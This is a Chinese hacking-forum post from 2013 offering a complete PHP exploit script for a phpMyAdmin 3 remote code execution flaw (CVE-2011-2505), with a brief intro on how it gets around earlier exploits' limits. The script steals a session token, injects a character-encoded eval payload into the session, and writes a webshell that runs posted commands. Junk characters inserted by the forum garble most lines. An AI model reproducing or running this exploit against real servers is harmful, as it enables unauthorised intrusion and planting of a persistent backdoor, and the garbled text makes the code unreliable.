找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2248|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。- d5 P, j+ J- W9 ~# q! \
1 b6 k- `8 @* Z. F" q9 n
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
4 k% J+ q  G) f. O' y
* K6 [) v0 T- w首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
  V3 ~" `- V8 E9 F) {. b$ S' v4 Z一是session.auto_start = 1;3 w& A: }$ t4 r5 [/ h" s
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
0 R3 Y. X( [9 o8 Z7 K当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
. ~5 k9 V6 l; ]2 \
: ^2 b+ d5 T2 k' b3 e3 W" g在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。6 |+ }; F1 U& z) p# j* _1 r  n2 a

! C8 ^& s- ]: U6 @7 o5 I; f; ~$ N于是写了这个php版本的exp,代码如下:
) e0 E# o1 F: _" D2 w0 M8 X9 ?8 I1 _: B+ a6 ]2 y! k) O
#!/usr/bin/php
' b8 l7 V; U1 \  U. T8 ^; q' x7 Y<?php+ c6 K7 i4 ~( B9 y' O
print_r('
& u0 W3 g0 t. I# d+---------------------------------------------------------------------------+
2 L/ e' P" p/ i  q; @3 z% Ppma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
/ d7 {2 A, C' p$ H: hby oldjun(www.oldjun.com)
3 f5 N3 V5 _. f1 jwelcome to www.t00ls.net' o9 e9 g& E* c) P% e. ^
mail: oldjun@gmail.com" t1 e2 [( g, m; h: J
Assigned CVE id: CVE-2011-2505
* l- D! R" q4 L/ R3 p+---------------------------------------------------------------------------+8 j) {9 a' |9 V
');: I: S' O: I2 S# p; ~: W

2 e$ T4 [  M% @) W/**
% ]" I/ D' O2 P5 f' E- e * working when the directory:"config" exists and is writeable.
$ o( f' M3 D7 F+ ^2 I**/5 t$ N% r7 S& i) O$ j
$ l7 d, F- @2 c, k! o7 _
if ($argc < 3) {& m' R0 j3 `$ W! }+ n! Q
    print_r('
5 j8 N0 v) F. Z5 P/ U* O$ W+---------------------------------------------------------------------------+
! `. @2 Z5 N3 S5 S/ c; O" o! qUsage: php '.$argv[0].' host path: P# T3 ^$ n5 r& B% i
host:      target server (ip/hostname)
5 I( Z2 T) E/ T, ?5 b! \4 a0 Bpath:      path to pma3! ^: d/ _8 l  A7 }- L
Example:5 m6 `' N: ^0 ?, \1 P2 s8 w5 i
php '.$argv[0].' localhost /pma/
; F$ n9 e+ ]* |4 I. s+---------------------------------------------------------------------------+
( Z/ S5 [$ I3 z0 R- k0 T% @4 [');8 A; j  D* W: a
    exit;
% L) V) |9 b  q# `}
0 j+ d- \4 ^4 M5 p& e' |/ K2 L$ B- A: S$ `  G* s' l
$host = $argv[1];
. ?4 F, _( |  N" T9 H  |$path = $argv[2];
7 B1 c0 t% k- j7 ^% O, G' N' S3 T: N: N9 X( _2 B
/**0 \* A$ ~/ q6 v1 Q" u1 [# |9 x- P
* Try to determine if the directory:"config" exists
  p  h2 b, r+ @8 P**/$ s1 d$ ~; r8 [5 c; y3 V' Z% T7 m& k
echo "[+] Try to determine if the directory:config exists....\n";
; {, O. ~' ]$ q( o; _* F6 `: L$returnstr=php_request('config/');
- p0 i( k* p" \' Yif(strpos($returnstr,'404')){; g: b, `5 h% x% N% p+ p! {7 E
    exit("[-] Exploit Failed! The directory:config do not exists!\n");' c9 m; j- f8 _0 C
}
) j& u9 D% N" F" F: z8 v- _* c+ i, ]) ~8 J6 ^2 d4 N
/**0 t+ p; H8 W* y3 E
* Try to get token and sessionid
& v8 y4 N8 M7 p& t**/) _1 z; E" j8 J- M
echo "[+] Try to get token and sessionid....\n";( |! N2 ~4 C5 S3 y: B5 B0 w
$result=php_request('index.php');
& \# A- C1 K' y/ {5 G$ q  f4 E6 opreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
  Q, d; A3 E# t$token=$resp[3];
6 Z/ \; w, C' u' ^' t3 D$sessionid=$resp[1];
" A- g, k' D+ T9 oif($token && $sessionid){% c6 w! s* u1 u6 n2 v+ P
    echo "[+] tokentoken\n";! g+ ^8 i4 U4 A; q* ?+ w% g( M
    echo "[+] Session IDsessionid\n";
/ ?  F8 q/ c3 r; e8 @* g}else{
! X% e9 m, X! A, l1 v4 M    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
# j# f6 e2 O4 B, v# w}1 ~) ?: o; J( Q4 D& }

- ?, ~* g" S; o$ a6 w  {$ A' x5 B  g6 e/**& c7 ]6 {/ z7 ^
* Try to insert shell into session
3 e$ H4 \2 d& |. P% `+ v2 P. u3 ]**/, _2 U$ m% H2 S$ W8 R7 u$ [
echo "[+] Try to insert shell into session....\n";
3 i. F8 G* h9 Z% H0 M& d* Rphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
! K% J, N/ f2 {7 u. u9 E. s
  k# W: M4 ^9 N8 r/**
3 d: R( X; x3 K- y * Try to create webshell& |+ [5 M) [3 I8 L8 ~5 B& j0 @, M% i" F
**/
& ?! ?5 B1 \7 D3 Y0 yecho "[+] Try to create webshell....\n";
0 B0 P7 M6 D- ^+ j; h- f6 fphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
+ D! t2 G/ U  G: J8 l9 ?; w2 _! r/**
5 `' _* E6 z( q7 c3 i * Try to check if the webshell was created successfully
: l2 \0 B7 f. ^0 x# J**/
# b3 m( Z+ ^/ ]$ h6 Z4 C7 ?echo "[+] Try to check if the webshell was created successfully....\n";
' H! [8 T7 E& S+ u% y4 m, u$content=php_request('config/config.inc.php');+ H1 A$ v8 w' X2 S8 p) c* o2 ]
if(strpos($content,'t00ls')){$ _- Q" [1 r: J- g1 k4 s0 H+ A, R
    echo "[+] Congratulations! Expoilt successfully....\n";
# ^- ~% J; n& l: p    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: f: W  d  n! U* W}else{& ^+ @# k5 \7 R0 h/ s8 l+ X
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
  p9 t5 A' C) o( w* H}% @: {6 H4 {& ?6 y# r

7 D3 ^" }, z% a6 H, S# n- {4 [function php_request($url,$data='',$cookie=''){  h7 f/ G. S7 l2 y0 w
    global  $host, $path;# c- y5 ?' o5 D5 y& I
   
/ \% d+ \( e' e+ h( H0 ~8 f    $method=$data?'POST':'GET';$ M8 a- ]3 q/ ]' F
   
/ s; G7 j1 s' R    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
: A2 L* x$ f8 E! b* n1 r9 _    $packet .= "Accept: */*\r\n";7 V# L. U5 H3 I% D2 @$ d! f
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";- o& Q# r. S  W. f
    $packet .= "Host: $host\r\n";2 F7 |1 Z" o. q; D9 o
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";9 L7 o6 o, i* A4 b+ r$ q
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";" j6 L  k6 G- P$ v: l
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
. f7 F+ P2 L2 F    $packet .= "Connection: Close\r\n\r\n";
5 ?% |" I, T- Y3 D    $packet .= $data?$data:"";
8 D, R& M& J1 P- Y3 ^* S+ `; R; Q
    $fp = fsockopen(gethostbyname($host), 80);
$ P" W4 r0 O/ v( V" i- b    if (!$fp) {% h# z0 @! ?# d: S
    echo 'No response from '.$host; die;
# C$ \& u6 S1 R7 w    }
" [& w( Y7 Y. u* f' u    fputs($fp, $packet);9 P9 k' r7 t& C  v" h. t

3 R- C' s' i# |9 N) b    $resp = '';2 N5 H7 `: K: @
  G* u: V# e% j: M+ c, \* Q2 Q6 Q
    while ($fp && !feof($fp))
3 }4 V/ c; H6 T) ^$ i; t        $resp .= fread($fp, 1024);
! k) t% o- v  S- ~) q4 Q
. P) i7 U5 V. |9 Y    return $resp;  s: Y' V  f0 V- N4 P
}  Q/ q+ q) a1 B9 ^4 S; \
   
3 }+ x, T* b7 S; Y% u& ~?>
: j8 V" p$ X0 l( {9 d% C) y( E.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表